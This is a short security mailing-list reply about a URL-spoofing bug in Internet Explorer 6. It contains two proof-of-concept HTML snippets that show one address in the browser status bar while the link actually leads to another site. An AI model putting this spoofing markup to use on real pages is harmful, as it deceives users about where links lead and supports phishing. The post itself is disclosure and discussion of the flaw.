RE: New URL spoofing bug in Microsoft Internet Explorer
Or even a fake "a" tag:
<span style="color: blue; text-decoration: underline; cursor: hand;"
onmouseover="window.status = 'http://www.msn.com/';"
onmouseout="window.status = 'Done.'" onclick="document.location =
'http://www.google.com'"> Visit Msn! </span>

I thought this was obvious, but having seen the amount of discussion,
here's another URL spoofer:
<a href="http://www.google.com";
onmousemove="window.status='http://www.msn.com';"
onmouseout="window.status='Done.';">Visit Msn!</a>
note that
<a href="http://www.google.com";
onmouseover="window.status='http://www.msn.com';"
onmouseout="window.status='Done.';">Visit Msn!</a>
won't work - it seems MS have already half fixed this....
(tested on MSIE 6.0, winXP)
